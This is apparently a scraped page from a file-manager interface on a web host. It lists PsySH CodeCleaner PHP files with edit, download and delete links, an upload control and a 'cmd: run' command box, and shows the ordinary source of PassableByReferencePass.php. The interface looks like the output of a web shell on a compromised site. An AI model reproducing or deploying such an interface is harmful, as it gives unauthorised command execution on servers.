/
var
/
www
/
vhosts
/
ihelp.ro
/
httpdocs
/
vendor
/
psy
/
psysh
/
src
/
CodeCleaner
/
/var/www/vhosts/ihelp.ro/httpdocs/vendor/psy/psysh/src/CodeCleaner
mkdir
upload
Name
Size
Mode
Actions
AbstractClassPass.php
2367
0644
edit
dl
rm
AssignThisVariablePass.php
1114
0644
edit
dl
rm
CalledClassPass.php
2736
0644
edit
dl
rm
CallTimePassByReferencePass.php
1607
0644
edit
dl
rm
CodeCleanerPass.php
415
0644
edit
dl
rm
EmptyArrayDimFetchPass.php
2025
0644
edit
dl
rm
ExitPass.php
859
0644
edit
dl
rm
FinalClassPass.php
1781
0644
edit
dl
rm
FunctionContextPass.php
1563
0644
edit
dl
rm
FunctionReturnInWriteContextPass.php
2735
0644
edit
dl
rm
ImplicitReturnPass.php
4237
0644
edit
dl
rm
InstanceOfPass.php
1957
0644
edit
dl
rm
IssetPass.php
1401
0644
edit
dl
rm
LabelContextPass.php
2638
0644
edit
dl
rm
LeavePsyshAlonePass.php
992
0644
edit
dl
rm
ListPass.php
3341
0644
edit
dl
rm
LoopContextPass.php
3694
0644
edit
dl
rm
MagicConstantsPass.php
1068
0644
edit
dl
rm
NamespaceAwarePass.php
1960
0644
edit
dl
rm
NamespacePass.php
2485
0644
edit
dl
rm
NoReturnValue.php
828
0644
edit
dl
rm
PassableByReferencePass.php
4202
0644
edit
dl
rm
RequirePass.php
4665
0644
edit
dl
rm
ReturnTypePass.php
3808
0644
edit
dl
rm
StrictTypesPass.php
2734
0644
edit
dl
rm
UseStatementPass.php
4513
0644
edit
dl
rm
ValidClassNamePass.php
10090
0644
edit
dl
rm
ValidConstructorPass.php
4023
0644
edit
dl
rm
ValidFunctionNamePass.php
2419
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/httpdocs/vendor/psy/psysh/src/CodeCleaner/PassableByReferencePass.php
(4202B)
<?php /* * This file is part of Psy Shell. * * (c) 2012-2023 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy\CodeCleaner; use PhpParser\Node; use PhpParser\Node\Expr; use PhpParser\Node\Expr\Array_; use PhpParser\Node\Expr\ArrayDimFetch; use PhpParser\Node\Expr\ClassConstFetch; use PhpParser\Node\Expr\FuncCall; use PhpParser\Node\Expr\MethodCall; use PhpParser\Node\Expr\PropertyFetch; use PhpParser\Node\Expr\StaticCall; use PhpParser\Node\Expr\Variable; use Psy\Exception\FatalErrorException; /** * Validate that only variables (and variable-like things) are passed by reference. */ class PassableByReferencePass extends CodeCleanerPass { const EXCEPTION_MESSAGE = 'Only variables can be passed by reference'; /** * @throws FatalErrorException if non-variables are passed by reference * * @param Node $node * * @return int|Node|null Replacement node (or special return value) */ public function enterNode(Node $node) { // @todo support MethodCall and StaticCall as well. if ($node instanceof FuncCall) { // if function name is an expression or a variable, give it a pass for now. if ($node->name instanceof Expr || $node->name instanceof Variable) { return; } $name = (string) $node->name; if ($name === 'array_multisort') { return $this->validateArrayMultisort($node); } try { $refl = new \ReflectionFunction($name); } catch (\ReflectionException $e) { // Well, we gave it a shot! return; } foreach ($refl->getParameters() as $key => $param) { if (\array_key_exists($key, $node->args)) { $arg = $node->args[$key]; if ($param->isPassedByReference() && !$this->isPassableByReference($arg)) { throw new FatalErrorException(self::EXCEPTION_MESSAGE, 0, \E_ERROR, null, $node->getLine()); } } } } } private function isPassableByReference(Node $arg): bool { // Unpacked arrays can be passed by reference if ($arg->value instanceof Array_) { return $arg->unpack; } // FuncCall, MethodCall and StaticCall are all PHP _warnings_ not fatal errors, so we'll let // PHP handle those ones :) return $arg->value instanceof ClassConstFetch || $arg->value instanceof PropertyFetch || $arg->value instanceof Variable || $arg->value instanceof FuncCall || $arg->value instanceof MethodCall || $arg->value instanceof StaticCall || $arg->value instanceof ArrayDimFetch; } /** * Because array_multisort has a problematic signature... * * The argument order is all sorts of wonky, and whether something is passed * by reference or not depends on the values of the two arguments before it. * We'll do a good faith attempt at validating this, but err on the side of * permissive. * * This is why you don't design languages where core code and extensions can * implement APIs that wouldn't be possible in userland code. * * @throws FatalErrorException for clearly invalid arguments * * @param Node $node */ private function validateArrayMultisort(Node $node) { $nonPassable = 2; // start with 2 because the first one has to be passable by reference foreach ($node->args as $arg) { if ($this->isPassableByReference($arg)) { $nonPassable = 0; } elseif (++$nonPassable > 2) { // There can be *at most* two non-passable-by-reference args in a row. This is about // as close as we can get to validating the arguments for this function :-/ throw new FatalErrorException(self::EXCEPTION_MESSAGE, 0, \E_ERROR, null, $node->getLine()); } } } }
Save
cmd:
run